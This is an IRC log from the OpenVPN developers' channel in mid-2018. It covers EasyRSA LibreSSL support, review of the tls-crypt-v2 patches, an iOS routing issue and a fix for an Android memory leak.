#openvpn-devel was synced in 8 secs 07:04 <@ecrist_> tincantech: bong - EasyRSA doesn't support LibreSSL 07:29 -!- You're now known as ecrist 07:30 < tincantech> ecrist: yeah .. I am trying to change that ;) 07:31 < tincantech> I have an almost working easyrsa + libressl .. I'll stick it on github and you can have a look 07:32 <@cron2_> ordex: no meeting this week for me - @customer site, need to be seen working. "Sit in front of computer and pretend" won't work out 07:37 <@ecrist> tincantech: if you get it working, can you subit a pull request? 07:38 <@ecrist> submit, even 07:41 < tincantech> i will if/when it works but I need some help because the things I appear to have broken i don't understand 08:47 < tincantech> well i have only tested init-pki, build-ca, build-server-full and client full but it appears to work :) 09:11 <@ordex> cron2_: oky 09:13 < tincantech> ecrist: if you want to take a look : https://github.com/TinCanTech/easy-rsa/commit/98e44e916a1845817dec5af8b1ea3bc4a4d0a68e 09:13 <@vpnHelper> Title: Add support for Libressl · TinCanTech/easy-rsa@98e44e9 · GitHub (at github.com) 09:13 < tincantech> It's only a first attempt so there could be howling great errors but it seems to work 09:18 < tincantech> ecrist: please decide on this : https://forums.openvpn.net/viewtopic.php?f=21&p=80316#p80316 09:20 <@ordex> cron2_: syzzer: dazo: I guess we will skip the meeting for this week? 09:40 <@cron2_> ordex: 14:32 <@cron2_> ordex: no meeting this week for me :-) 09:40 <@cron2_> so, yes ;-) 09:43 <@ordex> :) 12:21 <@ecrist> tincantech: will look at code now, I've edited and approved that post (stripped hyperlinks) 13:02 < tincantech> ecrist: thanks --- Day changed Tue Jul 31 2018 06:56 < tincantech> ecrist: any feed back ? if the approach is acceptable I'll pursue it if not then I'll leave it 07:17 <@ecrist> tincantech: it looks like you're just moving the variables into the easyrsa script itself 07:17 <@ecrist> and writing it out to a file 07:22 < tincantech> indeed .. 07:25 <@ecrist> honestly, I don't see how what you've done fixes anything at all 07:25 < tincantech> when the file is written all the variables are expanded 07:26 <@ecrist> oh, I see 07:26 < tincantech> ok .. 07:27 <@ecrist> there's no point in moving that configuration into the easy rsa script though, the effect would be the same with the current paradigm 07:28 < tincantech> long words aside .. are you saying you don't like the approach ? I did not expect immediate success .. 07:29 < tincantech> I guess i would like to know if you have a plan for easyrsa/libressl or not ? 07:31 <@ecrist> There's a plan to fix it, somehow, but I'm not sure the best way to do that yet. 07:31 < tincantech> btw: i have tested that with open and libre ssl : init-pki, build-ca buil-server/client-full and it works 07:32 <@ecrist> I'm anticipating the write to disk operation causing concerns for people. Have you tested this approach on Windows? 07:32 < tincantech> but i do understand that it is changing how easyrsa controls the cnf file for the ssl lib and that may be a big no no 07:32 < tincantech> i did not test on windows yet 07:33 < tincantech> i am happy to purue it if it is a reasonable approach .. if not then not 07:33 < tincantech> pursue* 07:33 <@ecrist> I think it's doable, but you need to retain the current configuration file so that you're not affecting the current operation 07:33 <@ecrist> read the config, update variables at run time, write out your temp config 07:35 < tincantech> ok .. I did that in my initial tests but after thinking through the logic I came to the conclusion that it was an unnecessary step 07:36 <@ecrist> it's very necessary, unless you want 1000 emails from users 07:36 < tincantech> I also experimented with puting the .cnf in the pki dir .. but again, seems unnecessary 07:36 <@ecrist> well, they'll bitch at me because I'd have approved it, which is why I won't approve it. ;) 07:36 < tincantech> sure ;) 07:37 < tincantech> which is why i did not PR it .. just wanted to get some feedback 07:38 < tincantech> this is how i looked at it -- for now i just did a quick and dirty experiment which works 07:39 < tincantech> it would be better i expect to only apply this change when libressl is in use and leave the openssl as is 07:39 < tincantech> anybody using libressl will most likely be starting from scratch 07:39 <@ecrist> I'd actually prefer a common mechanism that works regardless of which binary is present 07:39 < tincantech> and if they are not then some loud warnings about wwhat to expect .. once we know what to expect 07:40 <@ecrist> and, no, people that are using libressl won't be starting from scratch 07:40 < tincantech> ok .. common mech is also what i thought you would say ;) 07:41 < tincantech> ok .. so let me try a second version where the current .cnf file stays intact and I'll output to a temp file 07:42 < tincantech> then use the temp file for -config 07:43 < tincantech> put it this way .. i don't want to waste time on something if it is simply not acceptable approach .. and if you have other ideas then I don't need to work on it 07:44 < tincantech> I think ultimately I probably don't know enough about libressl to find the optimum solution 07:45 < tincantech> and this feels like a work around even to me 11:40 < tincantech> ecrist: this may be a small step in the right direction https://github.com/TinCanTech/easy-rsa/commit/51f90da9472eafaacf2b24cf2464624bf2c40571 11:40 <@vpnHelper> Title: Make EASYRSA_OPENSSL version check work · TinCanTech/easy-rsa@51f90da · GitHub (at github.com) 11:40 < tincantech> FYI .. I deleted that other git .. it was only there to get feed back 12:05 < tincantech> tested in windows and works as expected (although I have an unrelated error to track down) 12:53 < tincantech> ecrist: this is a neater version : https://github.com/TinCanTech/easy-rsa/commit/2512861489b15626aab45aea29b3138dffd23852 12:53 <@vpnHelper> Title: Make EASYRSA_OPENSSL version check work for Libressl · TinCanTech/easy-rsa@2512861 · GitHub (at github.com) 19:43 < tincantech> ecrist: forget those other versions .. i have a version now which fixes everything (almost.. and doesn't change anything) --- Day changed Wed Aug 01 2018 06:53 < tincantech> ecrist: i just looked up your time and it is earlier than i thought .. Q: which branch would you prefer my proposed changes applied to ? my guess would be 305 but would like to confirm, thannks (and good morning) 07:00 * ordex feels it's time to do some more constructive work 07:00 <@ordex> going to review more patches from tls-crypt-v2 v3 07:02 < tincantech> ordex: summer over already ? ;) 07:02 <@ordex> tincantech: it's always summer :-P 07:02 < tincantech> lol 08:04 <@ecrist> tincantech: please apply against master 08:04 <@ecrist> I'll cut a release for 3.0.5 soon, and we'll branch a new 3.1 with LibreSSL support 08:19 < tincantech> ecrist: dang it .. email in your inbox 08:19 < tincantech> FYI: all this is for review only so I can redo against master soon enough 08:24 <@syzzer> ordex: yay! (heads-up: 6/7 has a non-harmless forgotten TODO to double-check a resolved merge conflict in there. It's leaking memory since the rebase on top of you tls-auth/crypt in connection blocks patch, and I'm trying to find time to chase it down.) 08:25 <@ordex> syzzer: ouch ok :) 08:25 <@ordex> syzzer: has the doc patch been updated with the new header format you mentioned earlier? 08:25 <@ordex> (haven't checked myself yet) 08:25 <@syzzer> it should be :p 08:25 <@ordex> :D ok! 08:26 <@syzzer> "v3: Include length in WKc" 08:31 <@ordex> :) ok 11:40 <@cron2_> re 15:10 <@ordex> er 15:30 < tincantech> lots of eye rolling going on }:^ --- Day changed Thu Aug 02 2018 02:34 <@vpnHelper> RSS Update - tickets: #1082: Not clear for how long does openVPN caches the resolved IP address of remote host <https://community.openvpn.net/openvpn/ticket/1082> 02:46 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has quit [Ping timeout: 256 seconds] 02:48 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 03:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:12 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:18 <@mattock1> cron2: forgot to mention: my buildslaves are offline because my server is down, and that is because of thunderstorms 04:18 <@ordex> wow 04:18 <@mattock1> I mean, I unplugged it as a safety precaution 04:18 <@ordex> ah ok 04:18 <@ordex> I was wondering if you had any power outage or similar 04:18 <@mattock1> I'm at the summer cottage far away from home 04:19 <@mattock1> no, I managed to unplug the thing early enough 04:23 <@cron2_> mattock1: oi. So how will we get it back? 04:23 <@cron2_> or is that "we just do not test on Debian etc. for a while"? 04:24 <@cron2_> (which is good enough) 04:31 <@ordex> I guess the latter is simply what is going to happen hehe 04:31 <@ordex> hopefully we won't need to release anytime soon 04:33 <@cron2_> that will have to wait for mattock anyway... 04:33 <@mattock1> cron2: next wednesday or late tuesday 04:34 <@mattock1> if necessary, I could ask a neighbor turn on the server once the thunderstorms are gone 04:34 <@mattock1> but "no testing on ubuntu, debian, and centos 6" is what this means basically 04:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:18 <@ordex> shall we guys try to schedule a meeting for next wednesday ? 05:18 <@cron2_> I should be able to make it, and it makes sense -> yes 05:25 <@ordex> goed, not sure dazo will be able to join though 05:25 <@ordex> and we should check with syzzer too (he is not in the channel right now) 06:16 < tincantech> Q: using tap and bridge (i know we don't support their networks) but this message "MULTI: Outgoing TUN queue full, dropped packet len=42" .. *after* a successful connection is confusing to me .. is openvpn getting confused with its routing table? 06:17 < tincantech> anyway .. i post this here so that the devs can assess for themselves the probable cause and please let me know or feedback directly : https://forums.openvpn.net/viewtopic.php?f=4&t=24670#p72285 06:17 <@vpnHelper> Title: "MULTI: Outgoing TUN queue full" - Error after upgrading from 2.3.4 to 2.4.0 - OpenVPN Support Forum (at forums.openvpn.net) 06:18 < tincantech> thanks 07:20 < tincantech> hahaha .. nvr mind .. bridge your tap ! 07:28 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has joined #openvpn-devel 07:28 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:28 <@syzzer> hrmpf, I really need to fix my bouncer :/ 07:28 <@syzzer> did I miss anything? 07:28 <@syzzer> ordex: thanks for the reviews! 07:29 <@syzzer> I'll send a v4 for both patches. In 2/7, I placed the ) at the wrong place. len should be unencrypted (but authenticated). 07:31 <@cron2_> syzzerman! 08:21 <@syzzer> cron2_: hi :) 12:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:33 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 18:09 <@ordex> syzzer: ! ah! thanks for the fast reaction 18:09 <@ordex> I'll have a look at those in a bit 18:23 <@ordex> syzzer: is "AES-256-CTR(Ke, IV, Kc || metadata)" fixed in length? I am asking because if in the future we have "WKc || new_thing_here", how do we compute the offset where "len" starts? 18:24 <@ordex> I have the feeling aes256 might be any amount of cipher blocks, no? (especially because it depends on the length of the metadata) 18:24 <@ordex> being it a stream, maybe the length should be the first 16 bits of the WKc? 18:25 * ordex did not sleep yet, so bous things might have been typed above 20:08 < tincantech> ordex: i thought it was really well doc'd 20:12 < tincantech> syzzer: well done --- Day changed Fri Aug 03 2018 02:21 <@syzzer> ordex: the trick is to have WKc always last :) 02:21 <@syzzer> A packet now is: tls_wrap(P_CONTORL_V3_HARD_RESET) || WKc 02:22 <@syzzer> Extended packets would be tls_wrap(P_CONTROL_V3_HARD_RESET || payload) || WKc 02:23 <@syzzer> or, to make more clear why, including the tls-wrap key: tls_wrap(Kc, P_CONTROL_V3_HARD_RESET || paylod) || WKc 02:24 <@syzzer> (where payload == new_things_here) 02:42 <@ordex> syzzer: ah ok, the "WKc always last" assumption wasn't clear to me. but it makes sense as that is the only not-authenticated part and must stay outside the wrap 02:44 <@syzzer> yup :) 07:16 <@ordex> syzzer: sorry for not catching all the things earlier :P 07:27 <@syzzer> ordex: no problem - valid points so I'll tackle them :) 08:22 < tincantech> syzzer: two typos .. in "tls-crypt-v2: add specification to doc/" Rational: "loosing pre-shared keys" --> losing is correct spelling ;) 08:23 < tincantech> lol .. already fixed i see :) 08:27 < tincantech> but it is back in v4 08:36 < tincantech> there is one more: [PATCH v3 3/7] tls-crypt-v2: generate client keys -- near the end under "* Initialize a tls-crypt-v2 client key." line reads: "free this buffer when no longer neede. 08:36 < tincantech> should be "needed" :) 08:36 < tincantech> still excellent stuff ! 08:41 < tincantech> ecrist: there are 3 reported posts from that guy whos name you changed asking that we delete his posts .. i say No but can you please review (you will probably see why ;) 08:44 <@ecrist> I'll look. 08:49 <@ecrist> I'm not going to delete any of them. 08:52 <@ecrist> I wilo never come back to anyone forum. 08:52 <@ecrist> So guys have friends ebery where. 08:53 < tincantech> thanks :) 08:53 <@ecrist> that's a direct quote from his email back in May 08:54 < tincantech> i see .. lol 08:54 <@ecrist> I replied and said that if he keeps reporting his own posts we'll ban him on the forum again 08:54 < tincantech> and so the hammer falls .. ;) 08:57 <@syzzer> tincantech: thanks for the comments! could you maybe reply with those on the ml too? otherwise I might forget. 08:58 < tincantech> syzzer: will do :) 08:59 < tincantech> was not sure if that was preferred for such small things 20:37 <@ordex> syzzer: does tls-crypt-v2 follow the new logic and thus work per-connection-block? 20:37 <@ordex> (just wanted to know before reading the next patch) 21:53 <@ordex> cron2_: any clue why #1078 is failing? it seems you know what's going on but you did not shed any light on it :D 22:00 <@ordex> mumble mumble https://patchwork.openvpn.net/patch/120/ 22:00 <@vpnHelper> Title: [Openvpn-devel,v4] ifconfig-ipv6(-push): allow using hostnames - Patchwork (at patchwork.openvpn.net) --- Day changed Sat Aug 04 2018 06:08 <@cron2_> ordex: let me look... 06:10 <@cron2_> ordex: I have no idea what is going on, but I suspect that the "we need to do magicfumblefumble on a special driver wobble" bits are not properly cleaned up and when trying to re-mumble the wobble it fails 06:10 <@cron2_> all I know so far is how to trigger it, and the trac is "so it's not forgotten" 06:10 <@ordex> oh ok 06:11 <@ordex> I wasn't sure if that was the case or if you had a better understanding of the failure 06:11 <@cron2_> and yes, patch review, ipv6-only, etc. - I have great hopes for next week (told all my customers that I'm on vacation :-) but I'm actaully still in town for two more weeks) 06:12 <@cron2_> if you look into the TARGET_SOLARIS bits in tun.c, you'll see why I said fumblemumble and wobble - it's doing "things" that no other platform needs... 06:14 <@ordex> yeah looked at that and ... then I decided to ask you :D 06:17 <@cron2_> I didn't write the PPA stuff, that was already there when I joined. I just added IPv6 ifconfig :) 07:15 <@ordex> oh ok 12:08 < jpwhiting> hi all, I'm seeing some strange behavior in openvpn on windows. We are adding a bunch of routes in our usage and when we send signal SIGTERM most of the time it deletes the routes, but occasionally (I still haven't figured out what triggers it) it deletes one or two routes then leaves the rest in place 12:09 < jpwhiting> we were using openvpn 2.4.2, so I tried upgrading to 2.4.6 to see if the issue was fixed in a newer version, but I see the same issue in 2.4.6 also 12:09 < jpwhiting> the openvpn.log file shows it deletes one or two routes then nothing else --- Log closed Sat Aug 04 12:36:50 2018 --- Log opened Sat Aug 04 21:38:50 2018 21:38 -!- Irssi: #openvpn-devel: Total of 29 nicks [7 ops, 0 halfops, 0 voices, 22 normal] 21:38 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 21:38 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 22:37 <@ordex> jpwhiting: and this happens only on windows, right? or the same config exhibits the same problem also on linux? --- Day changed Sun Aug 05 2018 00:13 <@ordex> FYI you can set +R usermode to block PMs from unregistered users 07:35 <@cron2_> so, which hotels are people recommending and booking for the hackathon? seems we should book soon 07:58 <@ordex> should we? 07:58 <@ordex> did we get a confirmation for the exact dates? 07:59 <@ordex> cron2_: btw last time we stayed at the "swiss hotel" - fairly close and reasonably good, even though wrongfully decorated :D 10:37 <@cron2_> ordex: dazo sent out a confirmation for oct 5, and there is a LvivHackathon page... 10:37 <@cron2_> swiss hotel sounds good :) 10:51 <@ordex> cron2_: ah right, my halfworking brain did not have enough power to recall that :-P 10:51 <@ordex> I may have even added myself already to the page :D 10:52 <@ordex> we should probably add it to the list of hackathons in the main page 12:34 <@cron2_> go for it :-) - my mobile Internet isn't really up to editing wiki pages 12:43 <@cron2_> uh, the swiss hotel seems to be more on the expensive side of things 12:44 <@cron2_> and google maps says its 2.4 km away from "Shevchenka Ave 5." 12:50 <@cron2_> HRS suggests the "LH Hotel & Spa", supposedly only about 200m 14:01 <@vpnHelper> RSS Update - gitrepo: Correct the declaration of handle in 'struct openvpn_plugin_args_open… <https://github.com/OpenVPN/openvpn/commit/a2f43c2d6f086e7aa8b6160793f0c462ee9d6aa7> 15:08 <@vpnHelper> RSS Update - gitrepo: Resolves small IV_GUI_VER typo in the documentation. <https://github.com/OpenVPN/openvpn/commit/ae950fac832e688a7572d7614e5ad028bdcb1f75> 15:32 <@vpnHelper> RSS Update - gitrepo: plugin: Export base64 encode and decode functions <https://github.com/OpenVPN/openvpn/commit/6690769f78bbfb889fef2a54088d979896c87d51> 18:53 <@ordex> cron2_: 2.4km !? maybe "by car", but by foot you just have to cross a pedestrian area and you are there 19:31 <@ordex> cron2_: done :) 22:59 <@ordex> plaisthos: https://community.openvpn.net/openvpn/ticket/851 << is this something that still requires fixing? 22:59 <@vpnHelper> Title: #851 (Memory leakage) – OpenVPN Community (at community.openvpn.net) --- Day changed Mon Aug 06 2018 02:28 <@syzzer> ordex: it should work with tls-auth/crypt/v2 in connection blocks, though keep ik mind when revieving the "generate keys" patch, that it that case there they *must* be top-level (i.e. openvpn --tls-crypt-v2 server.key --tls-crypt-v2-genkey client client.key) 02:29 <@ordex> syzzer: yep! 02:29 <@ordex> good point 02:44 <@syzzer> ordex: re the close()/cleanup in 1/7, good find, but I don't think the code gets any cleaner from removing the cleanup label 02:44 <@syzzer> also, that's a pattern we use a lot in the code and works quite well 02:45 <@ordex> syzzer: yup, I totally like the cleanup pattern, but normally if we have only 1 goto it means the label is not really needed and could be avoided, no? 02:45 <@syzzer> so unless you have strong reasons to want otherwise, I'm sticking to the cleanup label 02:46 <@ordex> but you can decide, either approach is good with me 02:46 <@ordex> oky :) 02:46 <@ordex> keep it then 02:47 <@syzzer> ok :) 03:23 <@cron2_> ordex: well, it seems some of the map data for lviv isn't fully accurate... 03:34 <@cron2_> wrt the netbsd buildbot fails in "test 3" - yes, that is topology subnet, and if I can finally get a proper patch, they are gone for good 03:54 <@ordex> cron2_: not sure, osm worked fairly good for me :) 03:54 <@ordex> cron2_: cool :) 03:55 <@ordex> cron2_: re: #853: do you mean down-root should work on AIX too? 04:06 <@ordex> https://appear.in/openvpn-core 04:06 <@vpnHelper> Title: appear.in – one click video conversations (at appear.in) 04:06 <@ordex> ops not for you of course .. 05:36 <@ordex> thanks for the new version syzzer :) 07:14 < tincantech> I wonder if the you guys would consider a special case for patching typos -- I just found another but it is so small and insignificant that well .. 07:15 < tincantech> the error is in syzzers /* comments */ and it is "Thu" instead of "The" .. 07:15 < tincantech> So for this kind of patch is it reallt necessary to make syzzer resubmit te entire thing ? 07:16 < tincantech> or just fast track a patch through git for spelling errors in comments .. ? 07:21 < tincantech> ie. "no functional changes" 08:29 <@ordex> tincantech: if something is wrong in a pending patch, you should still mention it by replying to the patch. Then, instead of having syzzer resending the patch, the maintainer might fix that n the fly before merging (his call) 08:30 <@ordex> tincantech: however, if you feel like correcting typ0s, you can definitely try to find as many of them as possible and fix them in one go. that patch would definitely be fast tracked if not touching anything of concern 08:34 < tincantech> ordex: thanks :) 08:34 < tincantech> do you know much about iOS ? 08:34 <@cron2_> what ordex says 08:34 <@ordex> tincantech: no 08:35 <@ordex> tincantech: only what I needed to move the Connect app to the Network Extension API and some more things. But I am far from being an expert :P 08:35 < tincantech> erm .. well, if you push a route to iOS device should the log show that route being added ? 08:36 <@ordex> tincantech: talking about Connect for iOS ? 08:36 < tincantech> see here : https://forums.openvpn.net/viewtopic.php?f=6&t=26855&p=80486#p80486 08:36 <@vpnHelper> Title: Connection problems on IOS - OpenVPN Support Forum (at forums.openvpn.net) 08:36 < tincantech> thanks for any help :) 08:37 * ordex reads 08:38 <@ordex> tincantech: it seems the route is received: 0 [route] [192.168.1.0] [255.255.255.0] [10.8.0.1] 08:38 < tincantech> indeed 08:38 <@ordex> but I also don't see the "NIP:" message where it gets applied 08:39 < tincantech> exactly .. puzzling 08:39 <@ordex> ask him to remove the GW (3rd) argument please 08:39 <@ordex> it might be that iOS does not like it (can't remember right away) 08:39 < tincantech> ok 08:40 <@ordex> it is useless anyway because that is the IP of the VPN server 08:40 <@ordex> which is the default in any case 08:40 <@ordex> thanks 08:40 < tincantech> thank you :) 08:53 < tincantech> WRT typos .. I might do a spell check of the source one day .. but for now I'll stick to the preferred method 08:57 < tincantech> ordex: seems you are correct about iOS not liking third parm to --route .. is that something for you to fix ? ;) 08:57 <@ordex> well, I cna open a ticket for sure 08:57 <@ordex> hehe 08:57 <@ordex> *can 09:01 < tincantech> sure :) 09:02 < tincantech> there is more info on that link now 09:03 <@ordex> tincantech: the point is that in iOS you can't specify a GW 09:03 < tincantech> ok .. but i presume the log ought to show the route addition ? 09:05 <@ordex> well 09:05 <@ordex> I am wrong 09:05 <@ordex> you can actually 09:05 <@ordex> so not sure what is failing 09:05 < tincantech> something to get stuck into ;) 09:05 <@ordex> ah no 09:06 <@ordex> that was ipv6 09:06 <@ordex> damn asymmetry 09:06 <@ordex> :D 09:06 < tincantech> lol 09:06 <@ordex> so ipv6 works with a gw, ipv4 not apparently 09:06 <@ordex> ok I open a ticket :D 09:06 <@ordex> thanks ! 09:06 < tincantech> my pleasure :) 09:08 <@cron2_> wrt typos: if the rest of the patch is ACKed, I can fix typos in comments on the fly 09:08 <@cron2_> typos in the code should not ever happen, as that hints at "this patch was not properly tested" 09:08 <@ordex> yap 09:09 <@ordex> tincantech: btw, apparently ovpn3 only supports net/vpn_gateway as third argument 09:09 <@ordex> it probably logged something, but it did not make it to the user log 09:10 <@cron2_> I wonder why random stranges get a bug bounty for finding stuff in openvpn while I never get anything for verifying, testing, dealing with them, and so on...! 09:10 <@ecrist> cron2_: right? 09:11 <@cron2_> (I know, this is my punishment for permitting bad code into the tree in the first place) 09:11 <@ordex> cron2_: honestly this is something we could talk about 09:11 <@ordex> because there are funds just to support active developers in their daily duty, to ensure things are moved forward and do not get stuck (especially security bugs) 09:11 <@cron2_> ordex: I'm not really serious right now :-) 09:11 <@ordex> I am :D because I already checked 09:11 <@ordex> hehe 09:12 <@cron2_> ah, so you are draining the funds, and this is why we get all these ticket activity :-) 09:12 <@cron2_> nothing wrong with it ;-) 09:12 < tincantech> (there will nought left for beer at the hackathon ;) ) 09:13 <@ordex> haha nono, honestly I checked what could be done to make you (and others) work some more on open things while ensuring it does not become non-productive for yourself 09:13 <@ordex> :P 09:13 <@ordex> at least this is what I had in mind, but never had enough traction to move to the next level 09:13 <@ordex> (maybe something for the hackathon :)) 09:15 <@cron2_> yep, this certainly sounds like something we want to toss ideas around while sitting together 09:15 <@ordex> yup yup 09:16 < tincantech> ordex: just 1 Q: would you be expecting to see route addtion in iOS .. and if so, are you going to fix it ? 09:16 <@ordex> tincantech: not sure 09:16 <@ordex> because what openvpn3 does not is not bad to be honest 09:16 <@ordex> using openvpn to add a route to any random nexthop is a bit ... extra 09:16 <@ordex> so I am not sure this is something to support in ovpn3 09:16 <@ordex> 99% of the cases are covered by net/vpn_gateway (also the case on the forum) 09:16 <@ordex> but for sure better logging is required 09:17 < tincantech> i don't mean differing GW, that is ok as it is -- but the log should show the route addition or how can a user verify it worked ? 09:17 <@ordex> if it is not shown, it is not added for sure 09:18 < tincantech> but that thread shows the route is added tho the log does not show it (apparently) 09:18 <@ordex> " Sorry, no diff from logs, but so seems to work!! " not sure what he has seen - at the beginning he said "it did not work" 09:18 <@ordex> tincantech: no, the log is from when there was a 3rd parameter 09:18 <@ordex> he does not show the log after he removed that 09:18 <@ordex> did he ? 09:19 < tincantech> i think he (like many) does not understand how to write a detailed accurate reply .. I have to figure that soert of sh*t out all the time .. read things in and hope 09:20 <@ordex> :D 09:20 < tincantech> either way .. I would really expect the log to show the route addition 09:20 <@ordex> tincantech: this is why I try to go for the "dump" action: "I don't understand, please try to make it more clear" and avoid any kind of assumption...let the guy be more verbose 09:20 < tincantech> and iOS ignores verb .. so .. 09:21 <@ordex> tincantech: definitely it does, you see the other route being added in the log 09:21 <@ordex> in a working conneciton you'd have seen the other route too 09:21 <@ordex> working connection == proper route statement 09:21 < tincantech> huh .. so are you saying that the route is *not* being added ? 09:21 <@ordex> ok, let's restart from scratch 09:21 <@ordex> hehe 09:22 <@ordex> the guy came and posted some iOS log 09:22 <@ordex> in this iOS log you see the server pushing "route A B 10.8.0.1" 09:22 <@ordex> thi is wrong and iOs is ignoring this route, so it does not print it and does not add it 09:22 < tincantech> ok 09:22 <@ordex> later the guy removed the 10.8.0.1, and he said it worked 09:22 <@ordex> but he did not post any log for us 09:22 <@ordex> so we have no log from the "working case", do we? 09:23 < tincantech> i see 09:23 <@ordex> if he did post it, you'd have seen the additional "route" in the log too 09:23 <@ordex> you can ask him to post the iOS log just as confirmation 09:23 < tincantech> before i go on .. notice that the successful route addition is not a pushed routre it is setting up the vpn endpoint 09:24 <@ordex> in the iOs log you mean? 09:24 <@ordex> *iOS 09:24 < tincantech> the route addition of 10.8.0.0/24 is computed by the app .. it is not specifically reciebved 09:24 < tincantech> pushed .. 09:24 <@ordex> yeah but it follows the same "route addition logic" as any other route 09:24 <@ordex> so the same message would be printed for any other route being added (pushed, configured, computed, etc) 09:25 < tincantech> ok .. i'll ask for the log showing wehat happens now 09:25 < tincantech> thanks again 09:25 <@ordex> so what i am saying is that, if the pushed route was accepted, you would have seen something like: "NIP: adding (included) IPv4 route 192.168.1.0/24" 09:26 <@ordex> (which should be there in the log that he did *not* post) 09:26 <@ordex> oky 09:26 <@ordex> np :) 09:35 < tincantech> ordex: right as usual :) .. https://forums.openvpn.net/viewtopic.php?f=6&t=26855 09:35 <@vpnHelper> Title: Connection problems on IOS - OpenVPN Support Forum (at forums.openvpn.net) 09:35 <@ordex> hehe yeah 09:35 <@ordex> code can't lie :P 09:36 < tincantech> I am curious tho .. why print "nothing" in case of error .. seems counter-intuitive ? 09:37 < tincantech> ie. the gw parm is an error .. so shout about it ! 09:47 <@ordex> tincantech: because the code is not so linear as you may imagine 09:48 <@ordex> and honestly there is a log statement in that corner case 09:48 <@ordex> not sure why it is not printed 09:49 < tincantech> something seems to be a bit fishy 09:51 <@ordex> ok 09:51 <@ordex> let me dig 09:52 <@ordex> apparently the tun builder class prints errors only if it is instructed to be "not quiet", but only debug builds are "not quiet" 09:53 <@ordex> this is why nothing gets printed at the moment 09:53 <@ordex> for sure this could be improved 09:53 <@ordex> or maybe just making it not quiet all the time 09:56 <@ordex> tincantech: ^ 09:57 < tincantech> yep .. i agree that "not quiet" would be an improvement 09:57 <@ordex> need to evaluate all the other log statements 09:57 <@ordex> but yeah 09:57 <@ordex> it's in the ticket :) 09:57 < tincantech> i leave it in your expert hands :) 09:57 <@plaisthos> ordex: regarding https://community.openvpn.net/openvpn/ticket/851, lemme double check 09:58 <@ordex> plaisthos: thank 09:58 <@ordex> s 09:58 <@ordex> tincantech: I will put it in other hands, no worries :d 09:59 <@plaisthos> although the bug report might be totally bogus 09:59 <@plaisthos> as we are talking about allocating memory for int inside a struct 10:04 <@ordex> plaisthos: I think we are leaking the memory allocated for the entire tuntap member 10:04 <@ordex> because c1.tuntap is overwritten without being free'd first, no? 10:05 <@plaisthos> but that would also be non Android specific 10:05 <@plaisthos> the code only keeps the old fd and sometimes reuses it or does an open first and then close(oldfd) later 10:06 <@ordex> nope 10:06 <@ordex> on non android there is another if right above that says "if (!c->c1.tuntap)" 10:06 <@ordex> so we enter that branch only if it is not NULL 10:06 <@ordex> while for android we enter in any case and save the fd if it was not NULL, but we should also free it. no? 10:06 <@ordex> it == c1.tuntap 10:07 <@ordex> ifdef jungle 10:07 <@plaisthos> hm but the current code looks different anywy 10:08 <@ordex> hm it looks the same here on master 10:08 <@ordex> init.c:1672 10:09 <@ordex> plaisthos: btw cron2_ says the same in his first post, that there is a conditional for non-android above 10:10 <@ordex> it's indented quite bad too - I'd rather change the first condition and make it return if true, rather than opening another '{'. anyway....the leaks seems legit 10:11 <@plaisthos> hm yeah 10:11 <@plaisthos> I see it now 10:12 <@plaisthos> but where does the normal code path free tun? 10:12 <@ordex> probably in close_tun() 10:13 <@ordex> yap, tun.c:1739 10:13 <@ordex> which happens at the end 10:14 <@ordex> while android needs to recreate the tun every time, so it is reallocated each time 10:14 <@ordex> (the comment says so, probably your comment :P) 10:14 <@plaisthos> it calls init_tun every time, yes 10:14 <@ordex> but only on android 10:14 <@ordex> not other platforms 10:15 <@ordex> no? 10:18 <@plaisthos> yeah you are right 10:18 <@plaisthos> I need to call free manually to get rid of the memory leak 10:19 <@ordex> right 10:19 <@ordex> probably right after assigning oldtunfd (?) 10:20 <@plaisthos> yeah like this: 10:20 <@plaisthos> if (c->c1.tuntap) 10:20 <@plaisthos> { 10:20 <@plaisthos> oldtunfd = c->c1.tuntap->fd; 10:20 <@plaisthos> free(c->c1.tuntap); 10:20 <@plaisthos> c->c1.tuntap = NULL; 10:20 <@plaisthos> c->c1.tuntap_owned = false; 10:20 <@plaisthos> } 10:20 <@ordex> I am wondering if you should call close_tun*() or just free it 10:20 <@ordex> do you need to remove IPs and everything else? 10:20 <@plaisthos> no 10:20 <@ordex> and let the code set all up again? 10:20 <@ordex> ok 10:21 <@plaisthos> the android tun open checks if we can reuse the old fd or need a new fd 10:21 <@plaisthos> and will just put the right fd into the new fd 10:21 <@ordex> yeah 10:21 <@plaisthos> ANdroid itself does all the undo if you close an fd 10:21 <@ordex> so we just init tuntap but we don't fully re-open it 10:21 <@ordex> ok 10:21 <@ordex> what is getting re-initialized then? why is this required in android? 10:21 <@ordex> if we keep the tunfd alive 10:22 <@plaisthos> even with persistent tun your routes/ips can change 10:23 <@plaisthos> and on android you open a tun device with list of routes and ips and after that you cannot change it anymore. The only way to change it is to open a new tun and close the old one 10:23 <@ordex> tun as "interface" ? 10:23 <@ordex> and even if we change tun we can re-use the same fd? 10:23 * ordex knows nothing about this android logic :P 10:24 <@plaisthos> you basically do a openTun(routes, ips, options) call to android get an fd of a tun returned 10:24 <@plaisthos> (a bit simpilified) 10:25 <@ordex> yeah 10:25 <@plaisthos> so if you change something you do another call and get back a new fd 10:25 <@plaisthos> nd close the old one 10:25 <@ordex> yap 10:25 <@ordex> that makes sense 10:25 <@plaisthos> older version used to always just open a new fd and then close the old one 10:25 <@plaisthos> and then ANdroid 4.4 came which broke if you did that and you needed to reboot your phone to get VPN working again 10:26 <@ordex> .-. ok 10:26 <@plaisthos> so logic to keep the fd and don't do the dance if options/routes/ips did not change 10:27 <@plaisthos> james solution was lazier 10:27 <@plaisthos> just disable tun-persist on Android 4.4 %) 10:28 <@ordex> :D 10:29 <@ordex> so what happens now on android 4.4 if something has changed and persist-tun is activated? we don't close the fd, but we still reopen a new tun ? 10:29 